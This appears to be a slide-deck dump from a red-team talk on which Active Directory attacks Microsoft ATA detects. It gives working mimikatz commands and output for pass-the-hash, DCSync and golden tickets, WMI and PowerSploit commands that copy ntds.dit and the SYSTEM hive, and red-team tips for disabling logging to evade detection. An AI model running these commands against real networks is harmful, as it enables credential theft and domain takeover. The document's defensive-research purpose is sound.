* Device #8: GeForce GTX 1080, 2028/8114 MB allocatable, 2
```
Not Detected: Silver Tickets

• While a Golden ticket is a forged TGT valid for gaining access to any Kerberos service, the silver ticket is a forged TGS.

• TGS is forged, so no associated TGT, meaning the DC is never contacted.

• Any event logs are on the targeted server.

Detected: Modification of Sensitive Groups

- Enterprise Read Only Domain Controllers
- Domain Admins
- Domain Controllers
- Schema Admins,
- Enterprise Admins
- Group Policy Creator Owners
- Read Only Domain Controllers
- Administrators
- Power Users
- Account Operators
- Server Operators
- Print Operators,
- Backup Operators,
- Replicators
- Remote Desktop Users (for DCs)
- Network Configuration Operators
- Incoming Forest Trust Builders
- DNS Admins
Not Detected: Enumerating AD Access Control Entries

Selectively enumerating Active Directory object Access Control Entries (ACEs)/Discretionary Access Control Lists (DACLs)

Invoke-BloodHound -CollectionMethod ACL -ExcludeDC

More info: https://wald0.com/?p=112
Not Detected: Escalation via **Selective** AD ACL Abuse

Selectively targeting Active Directory object Access Control Entries (ACEs)/Discretionary Access Control Lists (DACLs)

Add-DomainGroupMember -Identity `sql01admins` -Members edwardabbey

Set-DomainUserPassword -Identity webservice -AccountPassword $Password

More info: https://wald0.com/?p=112
Detected: Over-Pass-The-Hash (Using KRBTGT NTLM Hash)

Unusual protocol implementation

2 accounts attempted to authenticate from APP01 against DC03 using an unusual protocol implementation. This may be a result of malicious tools used to execute attacks such as Pass-the-Hash and brute force.
Not Detected: Over-Pass-The-Hash (Using All Hash/Keys)

sekurlsa::pth /user:administrator /domain:prod.local
/aes256:12d23a766f9bac2a6e31b3afbd4f41a2d49b336b76f1edbe3d8b2fa9c9848d49
/ntlm:4c4715b4028d7aba53130d0db3de13fe
/aes128:00000000000000000000000000000000

mimikatz # sekurlsa::pth /user:administrator /domain:prod.local /aes256:12d23a766f9bac2a6e31b3afbd4f41a2d49b336b76f1edbe3d8b2fa9c9848d49 /ntlm:4c4715b4028d7aba53130d0db3de13fe /aes128:00000000000000000000000000000000

user: administrator
domain: prod.local
program: cmd.exe
impers: no
AES128: 00000000000000000000000000000000
AES256: 12d23a766f9bac2a6e31b3afbd4f41a2d49b336b76f1edbe3d8b2fa9c9848d49
NTLM: 4c4715b4028d7aba53130d0db3de13fe

PID: 2816
TID: 2984
LSA Process was already R/W
LUID 0 ; 85673013 (00000000:051b4435)
msv1_0 - data copy @ 00000002b58361d00
kerberos - data copy @ 00000002b5836d3e8
/aes256_hmac OK
/aes128_hmac OK
/rc4_hmac_nt OK
/rc4_hmac_old OK
/rc4_md4 OK
/rc4_hmac_nt_exp OK
/rc4_hmac_old_exp OK
*Password replace -> null
Not Detected: Lateral Movement via SQL Auth

- SQL authentication events are local to the server

- Target sa accounts, compromise SQL servers that have privileged AD user sessions using tools like PowerUpSQL

- Cross-Forest SQL trusts can also be targeted as demonstrated by Nikhil- [http://www.labofapenetrationtester.com/2017/03/using-sql-server-for-attacking-forest-trust.html](http://www.labofapenetrationtester.com/2017/03/using-sql-server-for-attacking-forest-trust.html)
Dominance
Detected: DCSync

mimikatz # lsadump::dcsync /domain prod.local /user:admin

Malicious replication of directory services

Malicious replication requests were successfully performed by Administrator, from WIN10A against DC03.


<table>
<thead>
<tr>
<th>TIME</th>
<th>ACCOUNTS (1)</th>
<th>RESULT</th>
<th>AGAINST DOMAIN CONTROLLERS (1)</th>
</tr>
</thead>
<tbody>
<tr>
<td>7/14/17 3:25 PM</td>
<td>Administrator</td>
<td>✔ Success</td>
<td>DC03</td>
</tr>
<tr>
<td>7/14/17 3:24 PM</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Partial Detection: Copying NTDS.dit File Remotely using WMI

- We can use the WMI Win32_ShadowCopy Class to dump the ntds.dit via volume shadow copies without having to call vssadmin.exe

```powershell
PS T:\$DeviceObject
PS T:\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
PS T:\Invoke-WmiMethod -Class Win32_Process -Name create -ArgumentList "cmd.exe /c copy $DeviceObject\Windows\System32\ntds.dit C:\" -ComputerName 10.1.11.170 -CREDENTIAL $cred
```

- Now flagged as a LOW severity event in ATA 1.8 due to executing Win32_process create, but not for the use of volume shadow copy:
Not Detected*: PSRemoting with LSASS Inject

- PowerSploit: Mimikatz in memory w/ LSASS Injection

Invoke-Mimikatz -Command "'privilege::debug" "LSADump::LSA /inject"' -Computer dc03.prod.local

Blue Tip: Lots of ways to harden/log WinRM/PSRemoting, restrict via groups/source, etc.
Not Detected*: PSRemoting with Raw Disk Access

- PowerSploit: Ninja-Copy

```
Invoke-NinjaCopy -Path "c:\Windows\System32\config\SYSTEM" -ComputerName "dc03.prod.local" -LocalDestination "c:\temp\system"
```

**Blue Tip**: You can detect LSASS injection/raw disk access with Sysmon
Detected: Golden Tickets Detection (Using KRBTGT NTLM Hash)

kerberos::golden /user:EdwardAbbey /domain:prod.local /sid:sid /krbtgt:rc4 /groups:513,512,520,518,519 /ptt

Encryption downgrade activity

The encryption method of the TGT field of TGS_REQ message from **WIN10A** has been downgraded based on previously learned behavior. This may be a result of a Golden Ticket in-use on **WIN10A**.

1:55 PM – 2:59 PM Jul 12, 2017
Not Detected: Golden Ticket w/ AES Key

kerberos::golden /user:JohnVanwagoner
domain:prod.local /sid:sid /aes256:aes256
groups:512,513,519 /startoffset:-1 /endin:2500
/renewmax:3000 /ptt

mimikatz # kerberos::golden /user:JohnVanwagoner /domain:prod.local /sid:S-1-5-21-2184559304-2325842030-2845129662 /aes256:aes256
18Geff3ceat1bae2e9 /groups:512,513 /startoffset:-1 /endin:10 /renewmax:3000 /ptt
User: JohnVanwagoner
Domain: prod.local (PROD)
SID: S-1-5-21-2184559304-2325842030-2845129662
User Id: 500
Groups Id: *512 513
ServiceKey: 05df6ed1616d67dc672d51814959b97be0d9f5f89c53d18e
Lifetime: 7/12/2017 3:40:25 PM; 7/12/2017 3:50:25 PM; 7/14/2
-> Ticket: ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'JohnVanwagoner @ prod.local' successfully sub
mimikatz # exit
Bye!
Blue Team Takeaways

• Limit PS Remoting sources to dedicated admin workstations
• Use JEA (Just Enough Administration) to help prevent lateral movement success
• Harden SQL servers, review forest trusts
• Integrate SIEM/VPN logs into ATA
• Use Event Log Forwarding for Sysmon and WMI logging with shorter polling times
• Audit your AD object ACLs with BloodHound
• Enforce AES-256, especially for service account SPNs
• Enforce “Binary Signature Policy” in 1703 to help protect PPLs
• Integrate those new Defender branded tools like Exploit Guard (WDEG)
• Enforce EMET/WDEG’s Attack Surface Reduction (ASR) rules
Red Team Takeaways

• Return to living off the land, directly call APIs
• Leverage host based PowerShell tools only after you’ve blocked or disabled ATP & event log forwarding
• Review RDP/PS/Session history to help avoid user behavior analytics
• Block event log forwarding to prevent Sysmon/WMI/PowerShell/Security logs giving you away
• Use ACE/DACL abuse to help avoid using RCE when possible
• Focus on info gathering and lateral movement techniques that don’t comm with the DC, like SQL auth and Silver Tickets
• Kerberoast & Silver Ticket all the things
• Use AES for Over-PTH, Golden Tickets
• Abuse Forest Trusts
Big Thanks / Sources

• @angus_tx, @nosteve, @swordgardctf, and the rest of the IBM X-Force Red crew- we’re hiring!

• The MS ATA/ATP teams

• Tools, techniques, assistance and research by: @PyroTek3, @cobbr_io, @mattifestation, @danielhbohannon, @nikhil_mitt, @mubix, @JosephBialek, @kevin_Robertson, @nigma0x3, @subTee, @0xbadjuju, @tifkin_, @nullbind, @gentilkiwi, @armitagehacker, @aionescu, @alastairgray, @harmj0y, @wald0, @CptJesus, @JershMagersh, @vysecurity, @cybera, @tiraniddo, @passingthehash and many others in the community

• @simonstalenhag for permission to use his art